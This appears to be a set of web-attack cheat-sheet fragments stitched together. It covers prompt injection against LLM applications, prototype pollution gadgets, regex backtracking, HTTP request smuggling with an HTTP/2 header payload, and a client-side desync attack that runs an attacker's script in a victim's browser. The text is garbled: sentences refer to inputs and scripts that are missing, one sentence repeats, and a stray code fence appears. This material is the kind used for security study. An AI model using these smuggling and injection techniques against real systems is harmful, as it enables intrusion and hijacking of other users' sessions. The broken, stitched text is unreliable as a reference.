Direct Prompt Injection is a security vulnerability in AI-powered applications where a malicious user manipulates the prompt to make the AI ignore its original instructions and execute unintended commands.

## Indirect Prompt Injection
Indirect Prompt Injection is a type of security vulnerability that occurs in systems using AI, particularly Large Language Models (LLMs), where user-provided input is processed without proper sanitization. This type of attack is "indirect" because the malicious payload is not directly inserted by the attacker into the conversation or query but is embedded in external data sources that the AI accesses and uses during its processing.

### Prototype Pollution Gadgets
A "gadget" in the context of vulnerabilities typically refers to a piece of code or functionality that can be exploited or leveraged during an attack. When we talk about a "prototype pollution gadget," we're referring to a specific code path, function, or feature of an application that is susceptible to or can be exploited through a prototype pollution attack.
Either create your own gadget using part of the source with [yeswehack/pp-finder](https://github.com/yeswehack/pp-finder), or try to use already discovered gadgets [yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) / [BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution).

For this input, the regex engine will try all possible ways to group the `a` characters before realizing that the match ultimately fails because of the `!`. This results in an explosion of backtracking attempts.
### Backtrack Limit
Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.

> HTTP Request smuggling occurs when multiple "things" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded.

## HTTP/2 Request Smuggling
HTTP/2 request smuggling can occur if a machine converts your HTTP/2 request to HTTP/1.1, and you can smuggle an invalid content-length header, transfer-encoding header or new lines (CRLF) into the translated request. HTTP/2 request smuggling can also occur in a GET request, if you can hide an HTTP/1.1 request inside an HTTP/2 header
```
```ps1
:method GET
:path /
:authority www.example.com
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com
```
## Client-Side Desync
On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg:

This script tells the victim browser to send a `POST` request to `www.example.com/redirect`. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to `www.example.com`.
This script tells the victim browser to send a `POST` request to `www.example.com/redirect`. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to `www.example.com`.
www.example.com now incorrectly processes the `HEAD` request in the `POST`'s body, instead of the browser's `GET` request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual `GET` request.

Since the browser only sent one request, it accepts the response to the `HEAD` request as the response to its `GET` request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
